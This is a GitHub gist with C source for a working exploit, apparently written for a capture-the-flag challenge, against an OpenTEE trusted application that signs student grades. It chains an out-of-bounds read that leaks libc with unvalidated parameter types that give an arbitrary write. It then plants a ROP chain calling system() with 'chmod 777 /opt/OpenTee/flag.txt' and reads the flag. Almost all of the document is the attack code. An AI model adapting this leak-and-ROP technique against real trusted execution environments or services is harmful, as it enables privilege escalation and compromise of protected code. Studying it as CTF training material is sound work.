Created
November 6, 2023 11:02
-
-
Save clubby789/4277d3de73b0a732a7fb0dcca6fe431f to your computer and use it in GitHub Desktop.
TrustMEE Exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "tee_client_api.h" | |
#include "grade_ca.h" | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <fcntl.h> | |
#include <unistd.h> | |
#include <sys/sendfile.h> | |
static const TEEC_UUID uuid = { | |
0x11223344, 0xA710, 0x469E, { 0xAC, 0xC8, 0x5E, 0xDF, 0x8C, 0x85, 0x90, 0xE1 } | |
}; | |
#define DIE(...) {\ | |
printf("" __VA_ARGS__); \ | |
exit(1); \ | |
} | |
#define CHECK(expr, ...) if (!(expr)) {\ | |
printf("[%s:%d (%s)] ", __FILE__, __LINE__, #expr); \ | |
DIE(__VA_ARGS__) \ | |
} | |
struct Exploit { | |
TEEC_Context ctx; | |
TEEC_Session sess; | |
TEEC_Operation op; | |
TEEC_SharedMemory in_mem; | |
struct studentclass* class; | |
TEEC_SharedMemory out_mem; | |
struct signedStudentclass* signedClass; | |
intptr_t libc_base; | |
intptr_t stashed; | |
}; | |
struct Exploit* init() { | |
struct Exploit* exp = calloc(sizeof(struct Exploit), 1); | |
TEEC_Result tee_rv; | |
CHECK(exp); | |
tee_rv = TEEC_InitializeContext(NULL, &exp->ctx); | |
CHECK(tee_rv == TEEC_SUCCESS, "TEEC_InitializeContext(0x%x)\n", tee_rv); | |
tee_rv = TEEC_OpenSession(&exp->ctx, &exp->sess, &uuid, TEEC_LOGIN_PUBLIC, NULL, &exp->op, NULL); | |
CHECK(tee_rv == TEEC_SUCCESS, "TEEC_OpenSession(0x%x)\n", tee_rv); | |
exp->class = calloc(sizeof(struct studentclass), 1); | |
CHECK(exp->class); | |
exp->signedClass = calloc(sizeof(struct signedStudentclass), 1); | |
CHECK(exp->signedClass); | |
exp->in_mem.buffer = (void*)exp->class; | |
exp->in_mem.size = sizeof(struct studentclass); | |
exp->in_mem.flags = TEEC_MEM_INPUT; | |
tee_rv = TEEC_RegisterSharedMemory(&exp->ctx, &exp->in_mem); | |
CHECK(tee_rv == TEEC_SUCCESS, "TEEC_RegisterSharedMemory(0x%x)\n", tee_rv); | |
exp->out_mem.buffer = (void*)exp->signedClass; | |
exp->out_mem.size = sizeof(struct signedStudentclass); | |
exp->out_mem.flags = TEEC_MEM_OUTPUT; | |
tee_rv = TEEC_RegisterSharedMemory(&exp->ctx, &exp->out_mem); | |
CHECK(tee_rv == TEEC_SUCCESS, "TEEC_RegisterSharedMemory(0x%x)\n", tee_rv); | |
return exp; | |
} | |
void leak_libc(struct Exploit* exp) { | |
// Bug 1: We can sign a single student in a class with a given index | |
// There is no bounds checking, so we can sign out-of-bounds memory, | |
// copying `sizeof struct student` bytes into our out-pointer | |
TEEC_Result tee_rv; | |
exp->op.params[0].memref.parent = &exp->in_mem; | |
exp->op.params[0].memref.size = sizeof(struct student); | |
exp->op.params[1].memref.parent = &exp->out_mem; | |
exp->op.params[1].memref.size = sizeof(struct signedStudent); | |
exp->op.params[2].value.a = 271; | |
exp->op.paramTypes = TEEC_PARAM_TYPES( | |
TEEC_MEMREF_PARTIAL_INPUT, | |
TEEC_MEMREF_PARTIAL_OUTPUT, | |
TEEC_VALUE_INPUT, | |
TEEC_NONE | |
); | |
tee_rv = TEEC_InvokeCommand(&exp->sess, SIGN_CLASS_STUDENT, &exp->op, NULL); | |
// TEEC_ERROR_SECURITY will be reported if the 'grade' field isn't <= 5, but the | |
// bytes will already have been copied | |
CHECK(tee_rv == TEEC_SUCCESS || tee_rv == TEEC_ERROR_SECURITY, "Libc Leak(0x%x)\n", tee_rv); | |
intptr_t leak = *(intptr_t*)(void*)&exp->signedClass->sigsStudents[0].firstname; | |
exp->libc_base = leak - 0xa5740; | |
printf("[+] Leaked Libc Base: 0x%lx\n", exp->libc_base); | |
} | |
TEEC_Parameter transmute(intptr_t val) { | |
union { | |
TEEC_Parameter p; | |
intptr_t v; | |
} tmp = { .v = val }; | |
return tmp.p; | |
} | |
void arb_write(struct Exploit* exp, intptr_t where, const void* what, size_t len) { | |
// Bug 2: The TA does not validate the argument types. This allows us to pass any | |
// pointer as a `TEEC_VALUE`, which will not be validated by the TEE. | |
TEEC_Result tee_rv; | |
CHECK(len <= sizeof(struct student)); | |
exp->op.params[0].memref.parent = &exp->in_mem; | |
exp->op.params[0].memref.size = len; | |
memcpy((void*)&exp->class->students[0].firstname, what, len); | |
exp->op.params[1] = transmute(where); | |
exp->op.paramTypes = TEEC_PARAM_TYPES( | |
TEEC_MEMREF_PARTIAL_INPUT, | |
TEEC_VALUE_INPUT, | |
TEEC_NONE, | |
TEEC_NONE | |
); | |
tee_rv = TEEC_InvokeCommand(&exp->sess, SIGN_STUDENT, &exp->op, NULL); | |
} | |
const char cmd[] = "chmod 777 /opt/OpenTee/flag.txt"; | |
int main() { | |
struct Exploit* exploit = init(); | |
leak_libc(exploit); | |
// We'll stash a command string at a known location - right at the end of libc's | |
// writable stegment | |
intptr_t stashed = exploit->libc_base + 0x22e000 - 0x40; | |
arb_write(exploit, stashed, &cmd, sizeof(cmd)); | |
// We can then write a ROP chain to the call stack of TA_InvokeCommandEntryPoint | |
intptr_t ropchain[] = { | |
exploit->libc_base + 0x2a3e5, // pop rdi; | |
stashed, // "chmod ...", | |
exploit->libc_base + 0x2a3e6, // ret (align stack), | |
exploit->libc_base + 0x50d70, // system | |
}; | |
// As it's running in a thread, the stack is stored in TLS, which is at a consistent offset | |
// from Libc. | |
arb_write(exploit, exploit->libc_base - 0x122268, &ropchain, sizeof(ropchain)); | |
int f = open("/opt/OpenTee/flag.txt", O_RDONLY); | |
CHECK(f != -1, "Flag is not readable\n"); | |
sendfile(1, f, NULL, 100); | |
close(f); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment